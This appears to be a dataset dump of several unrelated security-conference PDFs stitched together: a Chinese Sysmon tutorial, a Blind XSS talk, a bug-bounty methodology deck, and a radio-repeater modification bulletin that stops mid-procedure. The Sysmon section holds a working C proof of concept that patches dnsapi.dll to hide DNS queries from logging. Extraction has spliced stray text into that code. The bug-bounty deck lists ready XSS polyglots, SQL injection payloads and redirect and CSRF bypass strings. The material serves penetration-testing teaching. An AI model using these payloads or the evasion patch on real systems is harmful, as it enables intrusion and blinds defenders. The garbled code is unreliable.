text
stringlengths 100
9.93M
| category
stringclasses 11
values |
---|---|
Sysmon简介
Sysmon是⼀个Windows系统服务和设备驱动程序,安装后,会在系统启动时保持驻留状态,实时监视和记录系统
活动,并记录在Windows事件⽇志中。它提供有关进程创建,⽹络连接,⽂件创建时间更改等详细信息。
我们可以通过对Sysmon记录的事件⽇志进⾏分析,并了解⼊侵者和恶意软件如何在⽤⼾⽹络上运⾏。
Sysmon功能概述
(1)使⽤完整的命令⾏记录当前⾏为的⽗进程的进程创建;
(2)使⽤SHA1(默认值),MD5,SHA256或IMPHASH记录过程映像⽂件的哈希;
(3)可以同时使⽤多个哈希;
(4)在进程创建事件中包含进程GUID,即使Windows重⽤进程ID时也可以使事件相关;
(5)在每个事件中都包含⼀个会话GUID,以允许在同⼀登录会话上关联事件;
(6)使⽤签名和哈希记录驱动程序或DLL的加载;
(7)⽇志打开以进⾏磁盘和卷的原始读取访问;
(8)(可选)记录⽹络连接,包括每个连接的源进程,IP地址,端⼝号,主机名和端⼝名。
(9)检测⽂件创建时间的更改,以了解真正创建⽂件的时间。修改⽂件创建时间戳是恶意软件通常⽤来掩盖其踪
迹的技术;
(10)如果注册表中发⽣更改,则⾃动重新加载配置;
(11)规则过滤以动态包括或排除某些事件;
(12)从启动过程的早期开始⽣成事件,以捕获甚⾄复杂的内核模式恶意软件进⾏的活动
Sysmon下载
Sysmon下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysmon
配置⽂件下载地址:https://github.com/SwiftOnSecurity/sysmon-config
Sysmon安装
更新配置⽂件:
Sysmon⽇志分析
Sysmon的事件⽇志需要在Windows事件查看器中查看:
Sysmon事件⽇志的存储路径为:
应用程序和服务日志/ Microsoft / Windows / Sysmon / Operational
分析域名解析对应的程序:
对Sysmon的事件⽇志进⾏筛选,筛选事件ID为“22”的事件,表⽰DNS查询事件
这样即可对应发出DNS请求的程序。
sysmon.exe -c sysmonconfig-export.xml
SysmonDNS监控规避
参考@_xpn的博⽂:https://blog.xpnsec.com/evading-sysmon-dns-monitoring/
Sysmon会⼤量依赖ETW来监控各种⾏为,搜索关键字定位的函数其实就是启⽤了⼀个provider
https://docs.microsoft.com/en-us/windows/win32/etw/example-that-creates-a-session-and-enables-a-m
anifest-based-provider
DnsQuery_A 这个API在 DnsApi.dll 导出,其中会发出事件,以供注册的DNS事件provider记录。
调⽤堆栈如下,最终调⽤ McGenEventWrite ,详细的windbg分析查看xpn原⽂即可。
事件会从 DnsApi.dll 内部发出,并且由于该DLL会在我们可控的进程内调⽤。所以,我们可以⼲预,⽂章在运⾏
时patch DNSAPI!McTemplateU0zqxqz ,使其不通过 EtwEventWriteTransfer 发送相关事件,直接返回。
POC如下,在执⾏起来搜索 dnsapi.dll 中的 McTemplateU0zqxqz 这个API的位置,然后更改第⼀个值为RET使
其直接返回。
#include <iostream>
#include <Windows.h>
#include <WinDNS.h>
// Pattern for hunting dnsapi!McTemplateU0zqxqz
#define PATTERN (unsigned char*)"x48x89x5cx24x08x44x89x4cx24x20x55x48x8dx6c"
#define PATTERN_LEN 14
// Search for pattern in memory
DWORD SearchPattern(unsigned char* mem, unsigned char* signature, DWORD signatureLen) {
ULONG offset = 0;
for (int i = 0; i < 0x200000; i++) {
if (*(unsigned char*)(mem + i) == signature[0] && *(unsigned char*)(mem + i + 1) ==
signature[1]) {
if (memcmp(mem + i, signature, signatureLen) == 0) {
// Found the signature
offset = i;
break;
}
}
}
return offset;
}
int main()
{
DWORD oldProtect, oldOldProtect;
printf("DNS Sysmon Bypass POCn by @_xpn_nn");
unsigned char *dll = (unsigned char *)LoadLibraryA("dnsapi.dll");
if (dll == (void*)0) {
printf("[x] Could not load dnsapi.dlln");
return 1;
}
DWORD patternOffset = SearchPattern(dll, PATTERN, PATTERN_LEN);
其他学习⽂档:
ETW:https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal
printf("[*] Pattern found at offset %dn", patternOffset);
printf("[*] Patching with RETn");
VirtualProtect(dll + patternOffset, 10, PAGE_EXECUTE_READWRITE, &oldProtect);
*(dll + patternOffset) = 0xc3;
VirtualProtect(dll, 10, oldProtect, &oldOldProtect);
printf("[*] Sending DNS Query... should now not be detectedn");
DnsQuery_A("blog.xpnsec.com", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, NULL, NULL);
} | pdf |
BLIND XSS
@adam_baldwin
HI, I’M ADAM BALDWIN
NOT THAT ADAM BALDWIN
THIS ADAM BALDWIN
• Chief Security Officer at &yet
• Security Lead for ^Lift Security
• @adam_baldwin + @liftsecurity
• What is it?
• Using it in penetration tests
• Challenges
• xss.io
LET’S TALK BLIND XSS
BLIND XSS
WTF IS
BLIND XSS
WTF IS
• Reflected
• Persistent (stored)
• DOM
XSS IS:
• Reflected
• Persistent (stored)
• DOM
BLIND XSS IS:
IT’S A DIFFERENT
CHALLENGE.
IT’S NOT LIKE BLIND SQLI
WHERE YOU GET
IMMEDIATE FEEDBACK.
YOU HAVE NO IDEA
WHERE YOUR PAYLOAD’S
GOING TO END UP.
YOU DON’T EVEN KNOW
WHETHER YOUR PAYLOAD
WILL EXECUTE (OR WHEN!)
YOU MUST THINK AHEAD
ABOUT WHAT YOU WANT
TO ACCOMPLISH.
... AND YOU HAVE TO BE
LISTENING.
BLIND XSS IS
BLIND XSS IS
CALL ME
MAYBE?
FOR EXAMPLE...
From a recent penetration test
1.Carefully choose the right
payload for the right situation.
STEPS TO A SUCCESSFUL
BLIND XSS EXPLOIT:
1.Carefully choose the right
payload for the right situation.
2.Get lucky!
STEPS TO A SUCCESSFUL
BLIND XSS EXPLOIT:
• Lots of payloads for various
situations.
• ...but doing everything would
be overkill.
HTML5SEC.ORG
PLAN YOUR PAYLOAD.
HOW WILL THE APP USE
YOUR DATA?
• log viewers
• exception handlers
• customer service apps (chats,
tickets, forums, etc)
• anything moderated
NICE TARGETS:
BLIND XSS MANAGEMENT
XSS.IO CAN HELP!
SIZE MATTERS... RIGHT?
• Sometimes you need all the
character space you can get.
• No short-url GUID
• xss.io uses custom referrer-
based redirects instead
EXPLOIT CREATOR
• Snippets for common tasks
• Quickly create and reference
dynamic payloads
DEAD DROP BLIND XSS
API AND MANAGER
(XSS.IO DEMO)
BUT WAIT, THERE’S MORE
Unrelated but equally awesome
CSRF.IO
</PRESENTATION>
@adam_baldwin | @LiftSecurity | pdf |
1
How To Shot Web
(Better hacking in 2015)
2
Jason Haddix
●
Bugcrowd
●
Director of Technical Ops
●
Hacker & Bug hunter
●
#1 on all-time leaderboard bugcrowd 2014
whoami
@jhaddix
3
Hack
Stuff
Better
(and practically)
What this talk’s about...
And…LOTS of memes…. only some are funny
4
Step 1: Cut a hole in a box... j/k
Step 1: Started with my bug hunting methodology
Step 2: Parsed some of the top bug hunters’ research (web/mobile only for now)
Step 3: Create kickass preso
Topics? BB philosophy shifts, discovery
techniques, mapping methodology, parameters
oft attacked, useful fuzz strings, bypass or filter
evasion techniques, new/awesome tooling
More Specifically
5
Philosophy
6
Differences from standard testing
Single-sourced
Crowdsourced
●
looking mostly for
common-ish vulns
●
not competing with
others
●
incentivized for count
●
payment based on sniff
test
●
looking for vulns that
aren’t as easy to find
●
racing vs. time
●
competitive vs. others
●
incentivized to find
unique bugs
●
payment based on
impact not number of
findings
7
The regular methodologies
8
Discovery
9
Find the road less traveled
^ means find the application (or parts of an
application) less tested.
1.
*.acme.com scope is your friend
2.
Find domains via Google (and others!)
a.
Can be automated well via recon-ng
and other tools.
3.
Port scan for obscure web servers or
services (on all domains)
4.
Find acquisitions and the bounty
acquisition rules
a.
Google has a 6 month rule
5.
Functionality changes or re-designs
6.
Mobile websites
7.
New mobile app versions
10
Tool: Recon-ng script (enumall.sh)
https://github.com/jhaddix/domain
11
12
LMGTFY
13
LMGTFY
14
15
https://www.facebook.com/notes/phwd/facebook-bug-bounties/707217202701640
16
Port scanning is not just for Netpen!
A full port scan of all your new found targets will usually
yield #win:
●
separate webapps
●
extraneous services
●
Facebook had Jenkins Script console with no auth
●
IIS.net had rdp open vulnerable to MS12_020
nmap -sS -A -PN -p- --script=http-title dontscanme.bro
^ syn scan, OS + service fingerprint, no ping, all ports,
http titles
Port Scanning!
17
Mapping
18
Mapping tips
●
Google
●
*Smart* Directory Brute Forcing
●
RAFT lists (included in Seclists)
●
SVN Digger (included in Seclists)
●
Git Digger
●
Platform Identification:
●
Wapplyzer (Chrome)
●
Builtwith (Chrome)
●
retire.js (cmd-line or Burp)
●
Check CVE’s
●
Auxiliary
●
WPScan
●
CMSmap
19
Directory Bruteforce Workflow
After bruteforcing look for other status codes indicating you are denied or require auth then
append list there to test for misconfigured access control.
Example:
GET http://www.acme.com - 200
GET http://www.acme.com/backlog/ - 404
GET http://www.acme.com/controlpanel/ - 401 hmm.. ok
GET http://www.acme.com/controlpanel/[bruteforce here now]
20
Mapping/Vuln Discovery using OSINT
Find previous/existing problem:
●
Xssed.com
●
Reddit XSS - /r/xss
●
Punkspider
●
xss.cx
●
xssposed.org
●
twitter searching
●
++
Issues might already reported but use the flaw area
and injection type to guide you to further injections or
filter bypass.
21
Intrigue
New OSINT/Mapping project, intrigue:
●
250+ bounty programs
●
Crawl
●
DNS info + bruteforce
●
Bounty metadata (links, rewards, scope)
●
API
22
23
Intrigue and Maps projects
New OSINT/Mapping project, intrigue:
●
250+ bounty programs
●
Crawl
●
DNS info + bruteforce
●
Bounty metadata (links, rewards, scope)
●
API
24
Crawling
Using + Ruby + Anemone + JSON + Grep
$cat test_target_json.txt | grep redirect
https://test_target/redirect/?url=http://twitter.com/...
https://test_target/redirect/?url=http://facebook.com/...
https://test_target/redirect/?url=http://pinterest.com/...
25
Intrigue Tasks
Using + Ruby + Anemone + JSON + Grep
● Brute force
● Spider
● Nmap
● etc
26
27
28
Auth and Session
29
Auth (better be quick)
Auth Related (more in logic, priv, and transport sections)
●
User/pass discrepancy flaw
●
Registration page harvesting
●
Login page harvesting
●
Password reset page harvesting
●
No account lockout
●
Weak password policy
●
Password not required for account updates
●
Password reset tokens (no expiry or re-use)
30
Session (better be quick)
Session Related
●
Failure to invalidate old cookies
●
No new cookies on login/logout/timeout
●
Never ending cookie length
●
Multiple sessions allowed
●
Easily reversible cookie (base64 most often)
31
Tactical Fuzzing - XSS
32
XSS
Core Idea: Does the page functionality display something to the users?
For time sensitive testing the 80/20 rule
applies. Many testers use Polyglot payloads.
You probably have too!
33
XSS
';alert(String.fromCharCode(88,83,83))//';alert(String.
fromCharCode(88,83,83))//";alert(String.fromCharCode
(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))
</SCRIPT>
Multi-context, filter bypass based polyglot payload #1 (Rsnake XSS Cheat Sheet)
34
XSS
'">><marquee><img src=x onerror=confirm(1)></marquee>"
></plaintext\></|\><plaintext/onmouseover=prompt(1)
><script>prompt(1)</script>@gmail.com<isindex
formaction=javascript:alert(/XSS/) type=submit>'-->"
></script><script>alert(1)</script>"><img/id="confirm(
1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http:
//i.imgur.com/P8mL8.jpg">
Multi-context, filter bypass based polyglot payload #2 (Ashar Javed XSS Research)
35
XSS
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
Multi-context, filter bypass based polyglot payload #3 (Mathias Karlsson)
36
Other XSS
Observations
Input Vectors
Customizable Themes & Profiles via CSS
Event or meeting names
URI based
Imported from a 3rd party (think Facebook integration)
JSON POST Values (check returning content type)
File Upload names
Uploaded files (swf, HTML, ++)
Custom Error pages
fake params - ?realparam=1&foo=bar’+alert(/XSS/)+’
Login and Forgot password forms
37
SWF Parameter XSS
Common Params:
Common Params:
onload, allowedDomain, movieplayer, xmlPath, eventhandler, callback (more on OWASP page)
Common Injection Strings:
\%22})))}catch(e){alert(document.domain);}//
"]);}catch(e){}if(!self.a)self.a=!alert(document.domain);//
"a")(({type:"ready"}));}catch(e){alert(1)}//
38
SWF Parameter XSS
39
Tactical Fuzzing - SQLi
40
SQL Injection
Core Idea: Does the page look like it might need to call on stored data?
There exist some SQLi polyglots, i.e;
SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
Works in single quote context, works in double quote context, works in “straight into query”
context! (Mathias Karlsson)
41
SQL Injection
You can also leverage the large database of
fuzzlists from Seclists here:
42
SQL Injection Observations
Blind is predominant, Error based is highly unlikely.
‘%2Bbenchmark(3200,SHA1(1))%2B’
‘+BENCHMARK(40000000,SHA1(1337))+’
SQLMap is king!
●
Use -l to parse a Burp log file.
●
Use Tamper Scripts for blacklists.
●
SQLiPy Burp plugin works well to instrument SQLmap quickly.
Lots of injection in web services!
Common Parameters or Injection points
ID
Currency Values
Item number values
sorting parameters (i.e order, sort, etc)
JSON and XML values
Cookie values (really?)
Custom headers (look for possible
integrations with CDN’s or WAF’s)
REST based Services
43
SQLmap SQLiPy
44
Best SQL injection resources
DBMS Specific Resources
mySQL
PentestMonkey's mySQL injection cheat sheet
Reiners mySQL injection Filter Evasion Cheatsheet
MSSQL
EvilSQL's Error/Union/Blind MSSQL Cheatsheet
PentestMonkey's MSSQL SQLi injection Cheat Sheet
ORACLE
PentestMonkey's Oracle SQLi Cheatsheet
POSTGRESQL
PentestMonkey's Postgres SQLi Cheatsheet
Others
Access SQLi Cheatsheet
PentestMonkey's Ingres SQL Injection Cheat Sheet
pentestmonkey's DB2 SQL Injection Cheat Sheet
pentestmonkey's Informix SQL Injection Cheat Sheet
SQLite3 Injection Cheat sheet
Ruby on Rails (Active Record) SQL Injection Guide
45
Tactical Fuzzing - FI & Uploads
46
Local file inclusion
Core Idea: Does it (or can it) interact with the server file system?
Liffy is new and cool here but you can also use Seclists:
Common Parameters or Injection points
file=
location=
locale=
path=
display=
load=
read=
retrieve=
47
Malicious File Upload ++
This is an important and common attack vector in this type of testing
A file upload functions need a lot of protections to be adequately secure.
Attacks:
●
Upload unexpected file format to achieve code exec (swf, html, php, php3, aspx, ++) Web
shells or...
●
Execute XSS via same types of files. Images as well!
●
Attack the parser to DoS the site or XSS via storing payloads in metadata or file header
●
Bypass security zones and store malware on target site via file polyglots
48
Malicious File Upload ++
File upload attacks are a whole presentation. Try this one to get a feel for bypass techniques:
●
content type spoofing
●
extension trickery
●
File in the hole! presentaion - http://goo.gl/VCXPh6
49
Malicious File Upload ++
As referenced file polyglots can be used
to store malware on servers!
See @dan_crowley ‘s talk: http://goo.
gl/pquXC2
and @angealbertini research: corkami.
com
50
Remote file includes and redirects
Look for any param with another web address
in it. Same params from LFI can present here too.
Common blacklist bypasses:
●
escape "/" with "\/" or “//” with “\/\/”
●
try single "/" instead of "//"
●
remove http i.e. "continue=//google.com"
●
“/\/\” , “|/” , “/%09/”
●
encode, slashes
●
”./” CHANGE TO “..//”
●
”../” CHANGE TO “….//”
●
”/” CHANGE TO “//”
Redirections Common Parameters or Injection
points
dest=
continue=
redirect=
url= (or anything with “url” in it)
uri= (same as above)
window=
next=
51
Remote file includes and redirects
RFI Common Parameters or Injection points
File=
document=
Folder=
root=
Path=
pg=
style=
pdf=
template=
php_path=
doc=
52
CSRF
53
CSRF
Everyone knows CSRF but the TLDR
here is find sensitive functions and
attempt to CSRF.
Burps CSRF PoC is fast and easy for
this:
54
CSRF
Many sites will have CSRF protection, focus on CSRF bypass!
Common bypasses:
●
Remove CSRF token from request
●
Remove CSRF token parameter value
●
Add bad control chars to CSRF parameter value
●
Use a second identical CSRF param
●
Change POST to GET
Check this out...
55
CSRF
Debasish Mandal wrote a python tool to automate finding CSRF bypasses called
Burpy.
Step 1: Enable logging in Burp. Crawl a site with Burp completely executing all
functions.
Step 2: Create a template...
56
57
CSRF
Step 3: Run burpy on Burp log file..
Logic:
1.
Parse burp log file
2.
re-request everything instrumenting
4/5 attacks in previous slide
3.
diff responses
4.
alert on outliers
5.
profit
58
59
60
CSRF
Or focus on pages without the token in Burp:
https://github.
com/arvinddoraiswamy/mywebappscripts/blob/master/BurpExtensions/csrf_token_d
etect.py
61
CSRF
CSRF Common Critical functions
Add / Upload file
Password change
Email change
Transfer Money /
Currency
Delete File
Profile edit
62
Privilege, Transport, Logic
63
Privilege
Often logic, priv, auth bugs are blurred.
Testing user priv:
1.
admin has power
2.
peon has none
3.
peon can use function only meant for
admin
64
Privilege
1.
Find site functionality that is restricted to certain
user types
2.
Try accessing those functions with lesser/other
user roles
3.
Try to directly browse to views with sensitive
information as a lesser priv user
Autorize Burp plugin is pretty neat here...
https://github.com/Quitten/Autorize
Common Functions or Views
Add user function
Delete user function
start project / campaign / etc function
change account info (pass, CC, etc) function
customer analytics view
payment processing view
any view with PII
65
1.
Browse using high priv user
2.
Login with a lower priv user
3.
Burp Plugin re-requests to see if low priv can access high priv
66
Insecure direct object references
IDORs are common place in bounties, and hard
to catch with scanners.
Find any and all UIDs
●
increment
●
decrement
●
negative values
●
Attempt to perform sensitive functions
substituting another UID
○
change password
○
forgot password
○
admin only functions
67
Idor’s
Common Functions , Views, or Files
Everything from the CSRF Table, trying cross account attacks
Sub: UIDs, user hashes, or emails
Images that are non-public
Receipts
Private Files (pdfs, ++)
Shipping info & Purchase Orders
Sending / Deleting messages
68
69
Transport
Most security concerned sites will enable HTTPs. It’s
your job to ensure they’ve done it EVERYWHERE. Most
of the time they miss something.
Examples:
●
Sensitive images transported over HTTP
●
Analytics with session data / PII leaked over HTTP
70
Transport
https://github.com/arvinddoraiswamy/mywebappscripts/tree/master/ForceSSL
71
Logic
Logic flaws that are tricky, mostly manual:
●
substituting hashed parameters
●
step manipulation
●
use negatives in quantities
●
authentication bypass
●
application level DoS
●
Timing attacks
72
Mobile
73
Data Storage
Its common to see mobile apps not applying
encryption to the files that store PII.
Common places to find PII unencrypted
Phone system logs (avail to all apps)
webkit cache (cache.db)
plists, dbs, etc
hardcoded in the binary
74
Quick spin-up for iOS
Daniel Mayers idb tool:
75
Logs!
76
Auxiliary
77
The vulns formerly known as “noise”
●
Content Spoofing or HTML injection
●
Referer leakage
●
security headers
●
path disclosure
●
clickjacking
●
++
78
How to test a web app in n minutes
How can you get maximum results within a
given time window?
79
Data Driven Assessment (diminishing return FTW)
1.
Visit the search, registration, contact, and password reset, and comment
forms and hit them with your polyglot strings
2.
Scan those specific functions with Burp’s built-in scanner
3.
Check your cookie, log out, check cookie, log in, check cookie. Submit old
cookie, see if access.
4.
Perform user enumeration checks on login, registration, and password
reset.
5.
Do a reset and see if; the password comes plaintext, uses a URL based
token, is predictable, can be used multiple times, or logs you in
automatically
6.
Find numeric account identifiers anywhere in URL and rotate them for
context change
7.
Find the security-sensitive function(s) or files and see if vulnerable to
non-auth browsing (idors), lower-auth browsing, CSRF, CSRF protection
bypass, and see if they can be done over HTTP.
8.
Directory brute for top short list on SecLists
9.
Check upload functions for alternate file types that can execute code (xss
or php/etc/etc)
~ 15 minutes
80
Things to take with you…
1.
Crowdsourced testing is different enough to pay attention to
2.
Crowdsourcing focuses on the 20% because the 80% goes quick
3.
Data analysis can yield the most successfully attacked areas
4.
A 15 minute web test, done right, could yield a majority of your critical vulns
5.
Add polyglots to your toolbelt
6.
Use SecLists to power your scanners
7.
Remember to periodically refresh your game with the wisdom of other techniques and
other approaches
Follow these ninjas who I profiled: https://twitter.com/Jhaddix/lists/bninjas
81
Gitbook project: The Bug Hunters Methodology
This preso ended up to be way too much to fit in an 45min talk so... we turned it into a Git
project! (if you are reading this from the Defcon DVD check my twitter or Github for linkage)
●
50% of research still unparsed
●
More tooling to automate
●
XXE and parser attacks
●
XSRF
●
Captcha bypass
●
Detailed logic flaws
●
More mobile
82
Meme Count:
13
83
Attribution and Thanks
84
Tim Tomes - Recon-ng
Joe Giron - RFI params
Soroush Dalili - File in the Hole preso
Mathias Karlsson - polyglot research
Ashar Javed - polyglot/xss research
Ryan Dewhurst & Wpscan Team
Bitquark - for being a ninja, bsqli string
rotlogix - liffy LFI scanner
Arvind Doraiswamy - HTTPs, CSRF Burp Plugins
Barak Tawily - Autorize burp plugin
the RAFT list authors
Ferruh Mavituna - SVNDigger
Jaime Filson aka wick2o - GitDigger
Robert Hansen aka rsnake - polyglot / xss
Dan Crowley - polyglot research
Daniel Miessler - methodology, slide, and data contributions
My awesome team at Bugcrowd (Jon, Tod, Shpend, Ben, Grant, Fatih, Patrik, Kati, Kym, Abby, Casey, Chris, Sam, ++)
All the bug hunting community!!! | pdf |
Technical Service Bulletin:
FXR-08
Modifying GE/MACOM MASTR-III Group 2
(150.8 MHz – 174 MHz)
for
Amateur Radio Applications
(144 – 148 MHz)
A FluX Research project in several
phases
Release Date: 04-01-2008
Last Update: v1.0 03-31-2008
By: Matt Krick, K3MK
[email protected]
Radio Model #:
GE/MACOM MASTR-III Group 2 Repeater or Base, Combination Number
SXS
Warning:
Please be aware that this document is currently a work in progress which may
contain several omissions and typographical errors, continue reading at your own risk.
Background:
The following LBIs may be helpful:
LBI38540D Mastr IIe / III UTILITY PROGRAM
LBI38636C Mastr III CONVENIONAL BASE STATION Installation Manual
LBI38550A Mastr II / III SITE EQUIPMENT POWER SUPPLY
LBI38625A Mastr III EMERGENCY POWER OPTIONS
LBI38754A Mastr III RF PACKAGE VHF GROUP 2 (150.8-174 MHz)
LBI38637 Mastr III T/R SHELF 19D902839G1
LBI38640B VHF TRANSMITTER SYNTHESIZER MODULE 19D902780G1
LBI38641B VHF RECEIVER SYNTHESIZER MODULE 19D902781G1, G2
LBI38642B VHF RECEIVER FRONT END MODULE 19D902782G1, G2
LBI38643B 25kHz RECEIVER IF MODULE 19D902783G1
LBI39123 12.5/25KHZ RECEIVER IF MODULE 19D902783G7
LBI38764C EARLY SYSTEM MODULE 19D902590G1, G3, G5
LBI39176 LATE SYSTEM MODULE 19D902590G6 & G7
LBI38752B SWITCHING POWER SUPPLY MODULE 19D902589G2, 19D902961
LBI38531A 136-174 MHZ, 110 WATT POWER AMPLIFIER 19D902797G1,
19A70532P1, 344A3221P1, 19A705532P2, 19D902794G1, 19D902794, 19D902793
Phase 0: Preparations
Make sure the station to be converted is in good working order on its original
frequencies before attempting conversion to Amateur Radio use. Note that a Fault light
on the Receiver Synthesizer Module may be the result of a missing External Reference
Source. Verify in programming software and set source to internal if that is the case.
About 90% of the screws in the MASTR-III T/R Frame are Torx T-15. The remaining are
T-6, T-8, T-10 or Phillips #2.
To tune the Receiver Front End module properly, I recommend access to a service
monitor with a spectrum analyzer (HP-8920 series, IFR-1600S or similar). It is possible
to use a signal generator and a frequency selective RF volt meter, or service monitor
with simultaneous generate and receive but not as easy as you can’t see where the
peaks and dips are.
You will need to acquire a copy of TQ-3353 Mastr-IIe, III Programming Software
(M2E.BAT, M3.BAT). This should also come with TQ-0619 (MASTRUTL.BAT) A copy is
available here. [MASTR2E3.ZIP]
Full Modification requires a great deal of surface mount soldering. You will need a
quality soldering Iron. I use a Weller with a 800 degree Tip R. Also needed is fine
diameter solder, 0.015”, and fine tweezers.
You will also need thicker gauge solder and a brute force tip for modification of the
tuning slugs. I recommend 2% silver solder for use here.
Phase 1: Operating Frequency Reprogramming
Please Refer to LBI38540D
Connection to the repeater is done with a straight through DB-9 RS-232 cable. Connect
either to the Data Port on the front of the repeater or the DB-9 connection on the rear of
the interface board.
MASTRUTL.BAT is used as a utility to verify station operation and to set potentiometer
values.
You will use this application to set the repeat audio levels and transmitter power output.
It can also help diagnose the repeater to a degree with the ability to convey that one or
more modules are malfunctioning.
M2E.BAT and M3.BAT are designed to change the station operating parameters, such
as CTCSS tones, hang times and in the case of the MASTR-III the operating
frequencies.
It is important that the software be in MASTR-III mode. Programming the repeater with
the software in M2e mode may inadvertently brick the System Module requiring
replacement. Start the software with M3.BAT. Be sure the screen looks like above with
the ‘MASTR-III Control Shelf Programming’ at the top.
This software has some compatibility issues as it is an older DOS based program. A PIII
tablet with a USB to RS-232 adapter and WinXP would not program, but a PII laptop
with a hardware based serial port and WinXP would.
Read and save the current configuration. Use F6. Read it twice, once as a backup then
the other as the file you will be editing.
Once that is done highlight the file you will be editing and hit F2. Edit the data to your
new operating parameters. Use F9 over any field to get a description of what it adjusts.
For some reason ‘space’ is not an allowed character when programming the morse
code ID so don’t pull your hair out. Once done save the data by pressing F10 and then
F1 and confirm the over write.
Send programming data to the repeater by pressing F5 and selecting the file you just
edited.
The Fault LEDs on the Transmitter and Receiver synthesizer modules should now be lit
as the PLLs are no longer able to lock. There may be a slight flicker on the LEDs as the
System Module will be attempting to reset the synthesizers until the Fault clears.
Phase 2: VHF Transmitter Synthesizer Module
Please Refer to LBI38640B
Remove the Transmitter Synthesizer Module from the T/R frame. Using a small straight
jeweler’s screwdriver or ‘greenie’ and a flashlight, adjust the dip switches through the
access hole in the cover of the module to the following configuration:
Position 1: Open
Position 2: Closed
Position 3: Open
Position 4: Open
Leave positions 5 and 6 as is.
Replace the card back into the T/R frame. Put the station into transmit mode and notice
that the Fault LED should no longer be lit.
It is not necessary to remove the cover of the module for adjustment, but doing so
allows easier access.
With a spectrum analyzer verify the output of the module to be approximately 15 mW
(11.5 dBm).
Phase 3: VHF Receiver Synthesizer Module
Please Refer to LBI38641B
Please note that the Group 1 (136 – 151 MHz) Synthesizer generates high side Local
Oscillator injection where as the G2 generates low side. The output frequency of the
Receiver Synthesizer Module will be Receive Frequency + 21.4 MHz. i.e. 146.04 MHz +
21.4 MHz = 167.44 MHz.
Remove the Receiver Synthesizer Module from the T/R frame and remove the top
cover. Flip the card over and remove the 6 screws that hold the RF shielding sub frame
around the VCO section.
If you want full Group 1 conversion, replace the Group 2 components to the G1
specifications as found in the manual. A few component changes are all that is
necessary for Amateur Radio service.
Remove C2. Replace C1 with a 6pF NPO 0805 Capacitor or equivalent. Keep the
original C1 and C2 should replacement be necessary, use a piece of Scotch tape and a
sharpie to label each one. Replace the VCO RF shielding but not the module shield.
You will now have to remove the Receiver Front End Module and IF Module from the
T/R frame so you can access the tuning adjustments of the VCO.
Tuning can be done two ways. The first is place the Synthesizer back into the T/R frame
and adjust the VCO capacitor, C52 with a ‘greenie’ until the Fault LED extinguishes.
‘Center’ the capacitors tuning range by adjusting C52 and noting where Fault lights and
split the difference.
The second method requires a couple of jumpers be installed first. Solder a wire jumper
between U14 pin 11 (V_Tune) and +5 found at U15 pin 3. Next install a small wire lead
between (Enable Test) found on R86 and Ground found on C65, Use the pads closest
to each other. Insert the module into the T/R frame and connect a frequency counter to
LO Output. Adjust C52 for proper LO frequency. Remove jumpers.
Using a quality frequency counter on LO Output and adjust the trimmer on Y1 until the
desired LO frequency reads true. This method offers greater error and thus precision
then looking at the 12.8MHz Reference Output.
Once tuned remove the module from the frame again and replace RF shield. Insert the
module back into frame. Verify VCO lock by Fault LED being extinguished. Power cycle
the repeater leaving it off for 1 minute and check that the PLL lock took. The fault LED
should stay lit for approx 5 seconds and go out.
I find the Group 2 Low Pass Filter on the output is better designed than the Group 1,
offering 3dB more rejection of the second harmonic so no changes were made here.
With a spectrum analyzer verify the output of the module to be approximately 1 mW (0
dBm), Also verify that the harmonics are at least 29dB below carrier.
Phase 4: VHF Receiver Front End Module
Please Refer to LBI38642B
‘Un-sweded’
To modify the tuning slugs you will need 5 brass 8-32 Acorn nuts. These run about $2
for packs of 4. Verify they do not overlap the tuning slugs before purchase. You may
need to use 6-32 nuts instead if this is the case. You will also need some kind of non-
flammable and non-heat sinking support structure, such as a glass ashtray or ceramic
tile.
Remove the tuning slugs from the helical coil assembly. Remove the retaining nuts and
set them aside.
One at a time, modify the slugs. Pre tin the bottom of the slug using the silver solder. It
just needs a light coat. Do not spill any on to the threads.
While holding the acorn nut with needle nose pliers, tin the bottom with the solder. Put
an extra dab in the center of the nut to help with adherence later. Touch the iron to the
slug, the nut to the iron. Heat both the bottom of the slug and the nut to the point where
fumes just start to appear, Remove the heat and attach the nut to the bottom of the
slug. Check the centering while the solder is still melted.
You could also use a small butane pencil torch. Tin the nut and slug as above and then
place the nut on the slug cold. Heat the slug with the torch, circling the assembly evenly.
Be careful not to discolor the metal.
Wait approx 30 seconds for the solder to solidify and with the pliers place the assembly
on a sponge to finish cooling. Clean off the solder flux with a rag and some denatured
alcohol, isopropyl works if it is what you have. Cleaner is better here.
When done you should have something that looks like this:
At this point you should be able to make the receiver tune to at least -110dBm (0.7uV)
for 12dB SINAD, -113dBm (0.5uV) typical. Skip ahead to tuning if this is good enough
for you otherwise continue down this surface mount path of doom!
The stock image rejection filter attenuates 3dB at 145 MHz, Not too good for Amateur
range applications. Too much is different on the boards to simply change the
component values. The G1 board uses a low pass image filter instead of a high pass
one. Of course we could just remove the filters but that would offer no image rejection
and selectivity would take a hit.
It was decided to swap the filter sections on the board between the LO injection and the
image rejection filters. This is an improvement in selectivity, However the Injection filter
no longer has any high frequency attenuation and the low pass frequency is lower as
well, this could result in a hit in intermod performance. This is compensated by using the
better G2 low pass filter in the VHF Receiver Synthesizer Module.
New Receiver Configuration
Remove the Receiver Front End Module cover.
This takes lots of patience so bear with me. So you don't lose track of any components,
swap them one at a time, by the numbers. Remove one component and set it aside,
remove the opposite and replace where the other goes and replace the first component
where the other was from.
Swap the following components in this order:
•
C10 - C24
•
L11 - L19
•
C9 - C23
•
C8 - C22
•
L10 - L18
•
C7 - C21
•
C6 - C20
•
L9 - C19 (read text below)
The pads need to be altered to make L9 fit at C19. Scrape some solder mask from the
ground plane. The old C19 is placed at C6 with some solder mask scraped to make a
new ground plane.
Some traces need to be cut with an X-Acto knife. Cut the trace between the old L9
position and ground and the trace between L9 and R7. Scrape off the solder mask and
tin new landing areas for the additional components.
Remove L17 and C18 and place them on the set of pads formerly occupied by L9.
Place C17 between the pad of the new location of L17 and C18 and ground.
Using wire jumper lead from a resistor, make a floating set of L16 and C16 in parallel.
